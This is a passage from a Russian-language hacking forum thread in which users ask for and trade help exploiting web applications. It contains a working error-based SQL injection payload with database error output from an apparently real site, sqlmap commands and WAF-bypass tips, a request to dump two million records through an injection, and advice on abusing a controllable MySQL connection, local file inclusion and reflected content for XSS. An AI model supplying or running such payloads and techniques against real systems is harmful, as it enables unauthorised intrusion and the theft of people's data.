$this->DBConn = mysql_connect($this->DBHost, $this->DBLogin, $this->DBPassword);
if(!mysql_query("CREATE DATABASE ".$this->DBName, $this->DBConn))
...
if(!mysql_select_db($this->DBName, $this->DBConn))
{
return false;
}
...
mysql_query("SET NAMES '".$cp."'", $this->DBConn);
mysql_query("SET CHARACTER SET '".$cp."'", $this->DBConn);


Контролирую $this->DBHost, $this->DBLogin, $this->DBPassword, $this->DBName.

mistix
08.11.2015, 15:20
Подскажите, что за уязвимость такая Reflection Injection, и как ею воспользоваться?


call_user_func_array(array($cnt, 'action_' . $_REQUEST['action']), $args);
12: $cnt = $at->getcontroller();

requires:
11: if(is_object($at))
18: if(method_exists($cnt, 'action_' . $_REQUEST['action']))

Это мне выдал сканнер, сам я уже врядли вспомню как подобрать количество полей в union+select, сильно не пинайте :3

crlf
08.11.2015, 15:55
mistix, сходу ничего не сделать. Можно обратиться, к произвольным методам класса $cnt, с префиксом action_. Стоит их грепнуть и вручную смотреть, что в них можно интересного сделать. Посмотри так же, есть ли возможности контролировать $cnt.

Лаврушкин
08.11.2015, 16:01
Существет возможность инициировать mysql соединение (на подконтрольный хост) средствами PHP. Есть ли какие-то техники для эксплуатации багов в PHP модуле mysql? Другими словами, что можно вредоносного ответить при подключении? :)


$this->DBConn = mysql_connect($this->DBHost, $this->DBLogin, $this->DBPassword);
if(!mysql_query("CREATE DATABASE ".$this->DBName, $this->DBConn))
...
if(!mysql_select_db($this->DBName, $this->DBConn))
{
return false;
}
...
mysql_query("SET NAMES '".$cp."'", $this->DBConn);
mysql_query("SET CHARACTER SET '".$cp."'", $this->DBConn);


Контролирую $this->DBHost, $this->DBLogin, $this->DBPassword, $this->DBName.

Не уверен, но посмотри http://www.slideshare.net/qqlan/database-honeypot-by-design-25195927
В подробностях не разбирал.

crlf
08.11.2015, 19:31
Не уверен, но посмотри http://www.slideshare.net/qqlan/database-honeypot-by-design-25195927
В подробностях не разбирал.
Лаврушкин, вот ты красавец!!1 Работает как часы, я в шоке)

Лаврушкин
09.11.2015, 00:40
Существует ли возможность в PHP, при LFI/RFD на Windows, обратиться к файлу на другом диске?

Подробно разобрано https://rdot.org/forum/showthread.php?t=926
в особенности https://rdot.org/forum/showpost.php?p=10994&postcount=27

crlf
09.11.2015, 01:37
Подробно разобрано https://rdot.org/forum/showthread.php?t=926
в особенности https://rdot.org/forum/showpost.php?p=10994&postcount=27

Забыл деталь, у меня fopen($_SERVER["DOCUMENT_ROOT"].'/somedir/'.$_REQUEST['file']);.

DOCUMENT_ROOT = D:\host\

Хотелось почитать что-нибудь с диска C:\. Похоже, что без вариантов, а инфу по ссылкам на днях перечитывал, много полезного.

crlf
13.11.2015, 20:06
GET /script?param=what_you_want_not_filtered_<>'" HTTP/1.1


HTTP/1.1 200 OK
X-Frame-Options: SAMEORIGIN
Cache-Control: max-age=0, must-revalidate
Content-Length: 31
Vary: Accept-Encoding
Connection: Keep-Alive
Content-Type: application/javascript;charset=UTF-8

what_you_want_not_filtered_<>'"



Пробовал заинжектить сжатую SWF c XSS, но скрипт не выполняется если подгружать с другого домена. Есть варианты как это можно использовать?

NameSpace
14.11.2015, 11:26
Пробовал заинжектить сжатую SWF c XSS, но скрипт не выполняется если подгружать с другого домена. Есть варианты как это можно использовать?
Непосредственно можно использовать это как XSS в IE. В SWF выполнить Javascript через ExternalInterface не получится, но можно полноценно обмениваться запросами с сервером. Хотя сегодня Flash настолько дырявый, что будет легче сразу выполнить свой код у атакуемого пользователя.

crlf
14.11.2015, 18:37
Непосредственно можно использовать это как XSS в IE. В SWF выполнить Javascript через ExternalInterface не получится, но можно полноценно обмениваться запросами с сервером. Хотя сегодня Flash настолько дырявый, что будет легче сразу выполнить свой код у атакуемого пользователя.

Нашёл интересный вектор https://miki.it/blog/2014/7/8/abusing-jsonp-with-rosetta-flash/, жаль что пофиксили, но на интересные мысли навёл. Попробую поискать нечто подобное.

SynQ
15.11.2015, 12:23
Не уверен, но посмотри http://www.slideshare.net/qqlan/database-honeypot-by-design-25195927
В подробностях не разбирал.

Вот это стоит в шпаргалку перепостить.

snakes
25.11.2015, 02:54
Подскажите чем быстро можно сдампить 2кк записей, и как много времени займет этот процесс? Есть только скуль, к пхпмайадмин нет доступа.

NameSpace
25.11.2015, 03:06
Подскажите чем быстро можно сдампить 2кк записей, и как много времени займет этот процесс? Есть только скуль, к пхпмайадмин нет доступа.
Используйте векторы вытягивания данных колонок в 1-у строку.

В настоящее время список актуальных векторов можно посмотреть здесь: https://rdot.org/forum/showthread.php?t=2860

snakes
25.11.2015, 03:34
Используйте векторы вытягивания данных колонок в 1-у строку.

В настоящее время список актуальных векторов можно посмотреть здесь: https://rdot.org/forum/showthread.php?t=2860

А попроще? Софтом по типу Хави, есть что то такое?

xivi00
26.12.2015, 09:41
Есть скуля site.com/'
кртиться через error baze site.com/'or(ExtractValue(1,concat(0x3a,(select+table_name/**/from/**/information_schema.tables/**/limit/**/24,1))))='1
вот вывод Erreur SQL : XPATH syntax error: ':SESSION_STATUS' (1105)
SELECT apres FROM `sos`.`redirection` WHERE LCID=2057 AND avant = '/'or(ExtractValue(1,concat(0x3a,(select+table_name/**/from/**/information_schema.tables/**/limit/**/24,1))))='1'
------------------------------------------------------------------------------------
но немогу не хавиджем не sqlmap ом раскрутить пробовал все уровни риски нечего, неоднаивестная миру программа не крутит, в чем может быть причина?

Mustang
26.12.2015, 10:02
Есть скуля site.com/'
кртиться через error baze site.com/'or(ExtractValue(1,concat(0x3a,(select+table_name/**/from/**/information_schema.tables/**/limit/**/24,1))))='1
вот вывод Erreur SQL : XPATH syntax error: ':SESSION_STATUS' (1105)
SELECT apres FROM `sos`.`redirection` WHERE LCID=2057 AND avant = '/'or(ExtractValue(1,concat(0x3a,(select+table_name/**/from/**/information_schema.tables/**/limit/**/24,1))))='1'
------------------------------------------------------------------------------------
но немогу не хавиджем не sqlmap ом раскрутить пробовал все уровни риски нечего, неоднаивестная миру программа не крутит, в чем может быть причина?

А желательно бы запрос скинуть с sqlmap'а. Обычно в уязвимом в месте без параметров ставиться *. Запрос получиться примерно таким:
sqlmap -u "site.com/*"
Желательно сразу указать тип БД. Еще бывает такое, что сайт проверяет, например, user_agent, или необходимые куки. Попробуй курлом отправить запрос и посмотри чего сайт скажет.

xivi00
26.12.2015, 12:57
А желательно бы запрос скинуть с sqlmap'а. Обычно в уязвимом в месте без параметров ставиться *. Запрос получиться примерно таким:
sqlmap -u "site.com/*"
Желательно сразу указать тип БД. Еще бывает такое, что сайт проверяет, например, user_agent, или необходимые куки. Попробуй курлом отправить запрос и посмотри чего сайт скажет.

* ставлю это я в курсе, так же как и в хавидже %Inject_Here%
вот что говорит sqlmap

[13:56:16] [INFO] testing 'Generic UNION query (NULL) - 1 to 10 columns'
[13:56:16] [WARNING] using unescaped version of the test because of zero knowledge of the back-end DBMS. You can try to explicitly set it using option '--dbms'
[13:56:31] [INFO] testing 'MySQL UNION query (NULL) - 1 to 10 columns'
[13:56:44] [WARNING] URI parameter '#1*' is not injectable
[13:56:44] [CRITICAL] all tested parameters appear to be not injectable. Try to increase '--level'/'--risk' values to perform more tests. Also, you can try to rerun by providing either a valid value for option '--string' (or '--regexp') If you suspect that there is some kind of protection mechanism involved (e.g. WAF) maybe you could retry with an option '--tamper' (e.g. '--tamper=space2comment')
[13:56:44] [WARNING] HTTP error codes detected during run:
403 (Forbidden) - 4 times, 404 (Not Found) - 221 times

sT1myL
26.12.2015, 20:03
403 (Forbidden) - 4 times, 404 (Not Found) - 221 times WAF надо использовать скрипты для обхода